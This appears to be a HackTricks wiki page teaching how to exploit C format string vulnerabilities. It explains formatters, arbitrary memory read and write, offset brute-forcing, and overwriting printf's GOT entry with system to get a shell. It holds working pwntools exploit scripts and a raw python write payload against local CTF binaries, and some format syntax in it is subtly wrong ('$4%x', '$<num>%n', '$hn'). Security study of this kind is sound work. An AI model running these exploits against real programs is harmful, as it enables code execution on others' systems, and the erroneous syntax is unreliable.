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269 lines
12 KiB
Markdown
269 lines
12 KiB
Markdown
# Format Strings
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Basic Information
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In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text.
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Other vulnerable functions are **`sprintf()`** and **`fprintf()`**.
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The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**.
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#### Formatters:
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```bash
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%08x —> 8 hex bytes
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%d —> Entire
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%u —> Unsigned
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%s —> String
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%p —> Pointer
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%n —> Number of written bytes
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%hn —> Occupies 2 bytes instead of 4
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<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
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```
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**Examples:**
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* Vulnerable example:
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```c
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char buffer[30];
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gets(buffer); // Dangerous: takes user input without restrictions.
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printf(buffer); // If buffer contains "%x", it reads from the stack.
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```
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* Normal Use:
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```c
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int value = 1205;
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printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
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```
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* With Missing Arguments:
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```c
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printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
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```
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* fprintf vulnerable:
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```c
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#include <stdio.h>
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int main(int argc, char *argv[]) {
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char *user_input;
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user_input = argv[1];
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FILE *output_file = fopen("output.txt", "w");
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fprintf(output_file, user_input); // The user input cna include formatters!
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fclose(output_file);
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return 0;
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}
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```
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### **Accessing Pointers**
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The format **`%<n>$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do:
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```c
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printf("%x %x %x %x")
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```
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and you would read from the first to the forth param.
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Or you could do:
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```c
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printf("$4%x")
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```
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and read directly the forth.
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Notice that the attacker controls the `pr`**`intf` parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
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{% hint style="danger" %}
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An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
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{% endhint %}
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## **Arbitrary Read**
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It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
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```python
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from pwn import *
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p = process('./bin')
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payload = b'%6$s' #4th param
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payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
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payload += p32(0x8048000) #6th param
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p.sendline(payload)
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log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
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```
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{% hint style="danger" %}
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Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address.
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{% endhint %}
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### Find offset
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To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`.
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<details>
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<summary>Brute Force printf offset</summary>
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```python
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# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
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from pwn import *
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# Iterate over a range of integers
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for i in range(10):
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# Construct a payload that includes the current integer as offset
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payload = f"AAAA%{i}$x".encode()
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# Start a new process of the "chall" binary
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p = process("./chall")
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# Send the payload to the process
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p.sendline(payload)
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# Read and store the output of the process
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output = p.clean()
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# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
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if b"41414141" in output:
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# If the string is found, log the success message and break out of the loop
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log.success(f"User input is at offset : {i}")
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break
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# Close the process
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p.close()
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```
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</details>
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### How useful
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Arbitrary reads can be useful to:
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* **Dump** the **binary** from memory
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* **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
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## **Arbitrary Write**
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The formatter **`$<num>%n`** **writes** the **number of written bytes** in the **indicated address** in the \<num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`$<num>%n`** write an arbitrary number in an arbitrary address.
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Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.<num-write>%<num>$n`** to write the number **`<num-write>`** in the **address pointed by the `num` position**.
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```bash
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AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
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AAAA.%500\$08x —> Param at offset 500
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```
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However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones.
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Therefore, this vulnerability allows to **write anything in any address (arbitrary write).**
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In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
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{% content-ref url="../arbitrary-write-2-exec/" %}
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[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
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{% endcontent-ref %}
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We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\
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As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used.
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* **HOB** is called to the 2 higher bytes of the address
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* **LOB** is called to the 2 lower bytes of the address
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Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one.
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If HOB < LOB\
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`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
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If HOB > LOB\
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`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
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HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
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{% code overflow="wrap" %}
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```bash
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python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
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```
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{% endcode %}
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### Pwntools Template
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You can find a **template** to prepare a exploit for this kind of vulnerability in:
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{% content-ref url="format-strings-template.md" %}
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[format-strings-template.md](format-strings-template.md)
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{% endcontent-ref %}
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Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
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```python
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from pwn import *
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elf = context.binary = ELF('./got_overwrite-32')
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libc = elf.libc
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libc.address = 0xf7dc2000 # ASLR disabled
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p = process()
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payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
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p.sendline(payload)
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p.clean()
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p.sendline('/bin/sh')
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p.interactive()
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```
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## Format Strings to BOF
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It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability.
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## Other Examples & References
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* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
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* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
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* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
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* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
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* 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
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* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
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* 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
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* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
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* 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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